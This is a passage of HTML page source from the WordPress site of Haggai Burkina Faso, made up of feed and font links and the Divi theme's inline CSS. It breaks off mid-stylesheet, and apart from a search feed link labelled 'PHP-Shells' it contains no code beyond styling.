<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d0321cb462*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media 